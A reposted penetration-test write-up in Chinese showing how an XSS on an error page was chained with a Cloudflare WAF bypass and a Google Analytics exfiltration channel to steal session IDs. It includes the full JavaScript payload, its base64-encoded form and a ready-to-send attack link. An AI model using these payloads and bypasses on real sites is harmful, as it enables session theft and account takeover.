Cloudflare Waf + google分析 = Oneclick ATO

admin 2023年12月15日01:03:57评论19 views字数 7105阅读23分41秒阅读模式

简介

在HTTP500“内部服务器错误”页面上,似乎是一个常规的跨站脚本(XSS)漏洞,我设法在评估中变成了一键式帐户接管。在这篇博客文章中,我想描述我利用已知的CloudflareWAF绕过和谷歌分析提取会话令牌作为CSP绕过来实现这一目标的路径。

侦察

在评估开始时,我很快注意到Web应用程序将SessionID作为某种错误报告JavaScript函数的一部分存储在消息变量中。如果触发window.onerror,该函数将被执行:

Cloudflare Waf + google分析 = Oneclick ATO

所以我去寻找一种方法来提取这些数据。有什么比一个可能的、理论上的中间人来做这项工作更好的呢?当然XSS!

Cloudflare Waf + google分析 = Oneclick ATO

在评估过程中,发现了这个有趣的XSS向量,可以在500“内部服务器错误”页面上找到。请注意URL中的EndUserVisibleHtmlMessage参数:

https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3CXS%20S%20payload%20here%3E&ShowWarningIcon=False&Title=Culture+change+detected&Culture%20Info=be-EN&Print=False

这听起来不太安全,是吗?事实上,几乎太容易被利用了。但是,有一个问题!有两种保护措施阻止我们使用该参数成功进行XSS攻击,因此我们需要一个攻击计划:

  1. 绕过CloudFlare Waf

  2. 绕过CSP

由于Cloudflare位于应用程序前面,这意味着简单的 <script>alert(1)</script>-payload不会弹出。

DNS覆盖

我们的第一个想法是尝试一种常用的方法来绕过WAF客户端:DNS覆盖。假设我们可以发现Cloudflare背后的源服务器(它允许从一般互联网连接),我们可以通过直接连接到它来绕过WAF。

有许多公开的方法可以发现使用基于云的WAF(以及CloudflareWAF本身)保护的Web服务的源服务器。例如:

  • 在像Censys这样的服务上搜索网站的域名,这将显示信息,例如哪些服务器正在使用相同的TLS证书

  • 通过在Shodan(https://github.com/pielco11/fav-up实现)上搜索相同的Fagico哈希来泄漏地址

  • 搜索历史DNS数据。

一旦你知道源服务器IP,Burp Suite允许快速设置自己的DNS记录下"项目选项"->"主机名解析"

Cloudflare Waf + google分析 = Oneclick ATO

在使用我们发现的源服务器的正确IP地址启用主机名解析后,Koen确认了他的想法,XSS确实如此。众所周知的alert(1)立即执行。

但你可能会想,“当针对受害者时,这并不总是绕过Cloudflare的可行方法”。你是对的,特别是当你无法访问受害者的基础设施或计算机时。由于这不是继续攻击链的选项,我们转而专注于在应用程序级别绕过Cloudflare。

Cloudflare基于签名的绕过

Cloudflare做了很多很酷的事情,我鼓励你去看看他们的博客!不幸的是,一些众所周知的WAF绕过似乎没有被注意到/修复。我在网上中搜索了一个,仍然可以使用

CloudflareXSS通过为dec添加8个或更多多余的前导零和为十六进制添加7个或更多来绕过。

我发现有点奇怪的是,如果URL中有eval字符串,他们的WAF不会阻塞,只要第一个括号被替换为%26%230000000040

Cloudflare Waf + google分析 = Oneclick ATO

无论如何,第一件烦人的事情已经解决了。成功绕过云waf,接下来就是CSP 绕过

CSP Bypass

Web应用程序具有以下内容安全策略(CSP):

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://maps.googleapis.com https://webapp.example.eu https://connect.facebook.net https://themes.example.eu; img-src 'self' https://ssl.google-analytics.com https://s-static.ak.facebook.com https://webapp.example.eu https://themes.example.eu http://images-awstest.example.com; style-src 'self' 'unsafe-inline' https://fonts.lug.ustc.edu.cn https://webapp.example.eu https://themes.example.eu; font-src 'self' https://google-themes.lug.ustc.edu.cn; frame-src https://webapp.example.eu https://www.facebook.com https://s-static.ak.facebook.com; object-src 'none'

通过仔细检查CSP,我们可以看到它允许脚本从域本身运行,这是由于script-src'self''unsece-inline''unsece-eval'

所以我想,也许一个带有Burp CollaboratorURL的快速fetch()就足够了,但是不行…我们得到一个错误,显示connect-src不允许fetch()函数对未声明的域进行外部HTTP调用。只有源域有效。

Cloudflare Waf + google分析 = Oneclick ATO

虽然CSP中没有写connect-src,但default-src'self'禁止任何未声明的指令被“恶意”执行。那么,什么允许的呢?

img-src https://ssl.google-analytics.com

也许对于你们中的一些人来说,这让人想起了什么。通过Google Analytics进行提取!但是怎么做呢?

谷歌分析

像Facebook一样,Google Analytics通过跟踪像素提供跟踪功能。通常,跟踪像素会进行一些日志记录/指纹识别,但在这种情况下,我们可以主动滥用它作为数据提取通道。

通过深入挖掘谷歌分析文档,可以构建一个有趣的收集URL。这个URL有一个特定的参数,允许包含任意字符串。这个参数叫做ea

Cloudflare Waf + google分析 = Oneclick ATO

为了能够使用跟踪像素成功添加分析,需要3个强制性参数:

TID,这是我们为执行攻击而设置IDGoogle Analytics PoC帐户

cid,这是一个随机数,用于区分浏览器/用户,也称为指纹识别

ea,它可以有任意分配给它

所以,一个快速的例子是:

https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=13333337&t=event&ec=email&ea=anystring

考虑到这URL,可以肯定地说,我们也可以绕过CSP策略,完成攻击的最后一个目标。

把所有的碎片串起来

我们拥有实现成功攻击链所需的所有4个部分。总结一下,它们是:

  • JavaScript函数中可访问的SessionID

  • Cloudflare绕过

  • CSP绕过

  • 谷歌分析收集URL

让我们把它们串起来,偷一些会话ID!

使用JavaScript获取SessionID值

如介绍中所述,应用程序在错误消息传递功能中显示了用户的会话cookie。有什么比一个好的旧正则表达式更好的方法来提取我们想要的值呢?

我很快去regex101.com并构建了一个提取特定字段及其相应值的正则表达式,一个24个字符的字母数字会话ID,如下所示。

Cloudflare Waf + google分析 = Oneclick ATO

而实际的正则表达式:

Plaintext
/(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm

Cloudflare Waf + google分析 = Oneclick ATO

编写有效载荷代码

由于我们想将Google Analytics Pixel附加到我们的网页上,我们将不得不定义一个新变量。让我们称之为gaimage

Plaintext
var gaimage = document.createElement("img");

接下来,我们声明我们的正则表达式变量:

Plaintext
var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm;

下一步有点复杂。

应用程序在返回200 OK的应用程序中到处都返回了错误JavaScript函数,但由于XSS切入点是在HTTP500“内部服务器错误”页面上找到的,我们不得不使用跨站点请求伪造。基本上是向包含会话ID的页面发出请求以进行提取。

对于我们的有效负载,以下JavaScript执行以下操作:

1获取返回200 OK的页面的页面内容,对于PoC目的,它是一个随机页面URL命名为:/Search/Criteria

1将我们的Google Analytics(分析)收集URL作为源分配给img属性

1cid由一个Math函数随机生成

1最重要的是,ea参数填充了使用正则表达式提取的SessionID值

Plaintext
fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=" + Math.floor(Math.random() * 8999999999 + 1000000000) + "&t=event&ec=email&ea=" + encodeURIComponent(data.match(regex)));

最后,这段代码通过将实际gaimage附加到超文本标记语言DOM本身来包装:

Plaintext
document.head.appendChild(gaimage);

我们的JavaScript生成的恶意img元素如下所示:

构建超文本标记语言注入

作为攻击准备的最后一步,我们需要在XSS发生的EndUserVisibleHtmlMessage参数内尽可能整齐地将所有内容组合在一起。

为了防止任何编码问题(或可能的检测),我选择使用base64对JavaScript有效负载进行编码,然后URL编码。这意味着这段代码:

Plaintext
var gaimage = document.createElement("img");
var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm; fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=" + Math.floor(Math.random() * 8999999999 + 1000000000) + "&t=event&ec=email&ea=" + encodeURIComponent(data.match(regex)));
document.head.appendChild(gaimage);

变成了这个:

Plaintext
dmFyIGdhaW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsKdmFyIHJlZ2V4ID0gLyg%2FOlNlc3Npb25JRDogKD86W2EtekEtWjAtOS1fXXsyNH0pKS9nbTsgZmV0Y2goIi9TZWFyY2gvQ3JpdGVyaWEiKS50aGVuKHJlc3BvbnNlID0%2BIHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0%2BIGdhaW1hZ2Uuc3JjID0gImh0dHBzOi8vc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tL2NvbGxlY3Q%2Fdj0xJnRpZD1VQS0xOTAxODMwMTUtMSZjaWQ9IiArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSArICImdD1ldmVudCZlYz1lbWFpbCZlYT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEubWF0Y2gocmVnZXgpKSk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZ2FpbWFnZSk7

这也意味着out payload必须通过解码我们执行的编码步骤来构建超文本标记语言payload本身:

<svg onload=eval(atob(decodeURIComponent("dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs=")))>

然而,上述超文本标记语言不起作用,因为它没有Cloudflare绕过。通过应用我之前提到的Cloudflare绕过,我们来到了我们可以发送给受害者的最后一个链接:

https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload=eval%26%230000000040atob%26%230000000040decodeURIComponent%26%230000000040%22dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg%2FOlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs%3D%22)))%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False

受害者的视角

从受害者浏览器的角度来看,标记将入到DOM中,如下所示。

Cloudflare Waf + google分析 = Oneclick ATO

超文本标记语言注入在浏览器中执行而不触发客户端错误。随着会话ID添加到跟踪像素,有效负载已准备好通过Google Analytics发送给攻击者!

攻击者的视角

在Google Analytics(分析)仪表板中,作为攻击者,我们可以看到受害者会话ID作为我们应用程序上的“活跃用户”发送:)

Cloudflare Waf + google分析 = Oneclick ATO

链接这些漏洞最终通过向受害者发送1个链接导致帐户被接管。

哇哦!

Cloudflare Waf + google分析 = Oneclick ATO

附加说明:使用具有跟踪预防功能的广告拦截器的用户不易受到此攻击,因为对Google Analytics的请求通常会被这些扩展程序阻止。

原文始发于微信公众号(暴暴的皮卡丘):Cloudflare Waf + google分析 = Oneclick ATO

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日01:03:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cloudflare Waf + google分析 = Oneclick ATOhttp://cn-sec.com/archives/2301304.html

发表评论

匿名网友 填写信息